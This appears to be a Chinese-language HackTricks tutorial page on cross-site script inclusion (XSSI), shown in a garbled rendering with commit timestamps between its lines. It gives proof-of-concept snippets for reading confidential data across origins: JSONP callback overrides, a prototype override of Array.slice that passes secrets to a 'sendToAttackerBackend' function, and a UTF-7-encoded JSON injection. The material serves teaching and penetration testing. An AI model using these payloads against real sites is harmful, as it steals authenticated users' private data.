2023-08-03 19:12:22 +00:00
# XSSI( 跨站脚本包含)
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗? 你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组** ](https://discord.gg/hRep4RUj7f )或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **提交PR来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
< / details >
2023-08-03 19:12:22 +00:00
#### 该信息来源于[https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
## 基本信息
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
XSSI指的是一种利用了以下事实的漏洞: 当使用`script`标签包含资源时, SOP( 同源策略) 不适用, 因为脚本必须能够跨域进行包含。因此, 攻击者可以通过使用`script`标签读取所有被包含的内容。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
当涉及到动态JavaScript或JSONP时, 这一点尤其有趣, 因为这些情况下使用了所谓的环境权限信息, 如cookies用于身份验证。当从不同的主机请求资源时, 这些cookies会被包含进来。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 类型
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
1. 静态JavaScript( 常规XSSI)
2. 只有在身份验证后才能访问的静态JavaScript
3. 动态JavaScript
4. 非JavaScript
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
## 常规XSSI
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
私人信息位于全局可访问的JS文件中, 你可以通过读取文件、搜索关键字或使用正则表达式来检测到这一点。\
要利用这个漏洞,只需在恶意内容中包含包含私人信息的脚本:
2020-07-15 15:43:14 +00:00
```markup
< script src = "https://www.vulnerable-domain.tld/script.js" > < / script >
< script > alert ( JSON . stringify ( confidential _keys [ 0 ] ) ) ; < / script >
```
2023-08-03 19:12:22 +00:00
## 动态基于JavaScript的XSSI和经过身份验证的JavaScript XSSI
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
当用户请求脚本时,**会添加机密信息**。通过发送请求**带有和不带有cookies**,可以轻松发现这一点,如果检索到**不同的信息**, 则可能包含机密信息。要自动执行此操作, 可以使用Burp扩展: [https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS)。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
如果信息存在于全局变量中,您可以使用与前面情况相同的代码来利用它。\
如果机密数据在JSONP响应中发送, 您可以覆盖执行的函数以检索信息:
2020-07-15 15:43:14 +00:00
```markup
< script >
2023-08-03 19:12:22 +00:00
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
2020-07-15 15:43:14 +00:00
< / script >
< script src = "https://site.tld/p?jsonp=angular.callbacks._7" type = "text/javascript" > < / script >
```
2023-08-03 19:12:22 +00:00
或者你也可以设置一个预先准备好的函数来执行JSONP响应:
2020-07-15 15:43:14 +00:00
```markup
< script >
2023-08-03 19:12:22 +00:00
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
2020-07-15 15:43:14 +00:00
< / script >
< script src = "https://site.tld/p?jsonp=leak" type = "text/javascript" > < / script >
```
2023-08-03 19:12:22 +00:00
如果一个变量不在全局命名空间中, 有时仍然可以利用_prototype篡改_来进行利用。原型篡改滥用了JavaScript的设计, 即在解释代码时, JavaScript会遍历原型链以找到调用的属性。以下示例摘自论文[动态JavaScript的意外危险](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf),演示了如何覆盖类型为`Array`的相关函数并访问`this`,从而泄漏非全局变量。
2020-07-15 15:43:14 +00:00
```javascript
(function(){
2023-08-03 19:12:22 +00:00
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
2020-07-15 15:43:14 +00:00
})();
```
2023-08-03 19:12:22 +00:00
在原始代码中,类型为`Array`的`slice`访问了我们感兴趣的数据。正如前面的部分所描述的,攻击者可以覆盖`slice`并窃取秘密信息。
2020-07-15 15:43:14 +00:00
```javascript
Array.prototype.slice = function(){
2023-08-03 19:12:22 +00:00
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
2020-07-15 15:43:14 +00:00
};
```
2023-08-03 19:12:22 +00:00
安全研究员[Sebastian Lekies](https://twitter.com/slekies)最近更新了他的[攻击向量列表](http://sebastian-lekies.de/leak/)。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
## 非脚本XSSI
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
Takeshi Terada在他的论文[基于标识符的XSSI攻击](https://www.mbsd.jp/Whitepaper/xssi.pdf)中描述了另一种类型的XSSI。他能够通过在`script`标签中包含CSV文件作为源文件, 并使用数据作为变量和函数名来泄露跨源的非脚本文件。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
第一个公开记录的XSSI攻击发生在2006年。Jeremiah Grossman的博客文章[使用GMail的高级Web攻击技术](http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html)描述了一种XSSI攻击, 通过覆盖`Array`构造函数, 能够读取Google账户的完整通讯录。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
2007年, Joe Walker发表了[JSON并不像人们想象的那样安全](http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/)。他使用了相同的思路来窃取嵌入在`Array`中的JSON数据。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
其他相关攻击是通过将UTF-7编码的内容注入到JSON中来逃避JSON格式。这在Gareth Heyes的博客文章[JSON劫持](http://www.thespanner.co.uk/2011/05/30/json-hijacking/)中有描述,他是[Hackvertor](https://hackvertor.co.uk/public)的作者。在快速测试中, 这在Microsoft Internet Explorer和Edge中仍然可行, 但在Mozilla Firefox和Google Chrome中不可行。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
带有UTF-7的JSON:
2020-07-15 15:43:14 +00:00
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
2023-08-03 19:12:22 +00:00
将JSON包含在攻击者的页面中
2020-07-15 15:43:14 +00:00
```markup
< script src = "http://site.tld/json-utf7.json" type = "text/javascript" charset = "UTF-7" > < / script >
```
2022-04-28 16:01:33 +00:00
< details >
2023-08-03 19:12:22 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks 云 ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 推特 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discord 群组** ](https://discord.gg/hRep4RUj7f ) 或 [**Telegram 群组** ](https://t.me/peass ),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向** [**hacktricks 仓库** ](https://github.com/carlospolop/hacktricks ) **和** [**hacktricks-cloud 仓库** ](https://github.com/carlospolop/hacktricks-cloud ) **提交 PR 来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
< / details >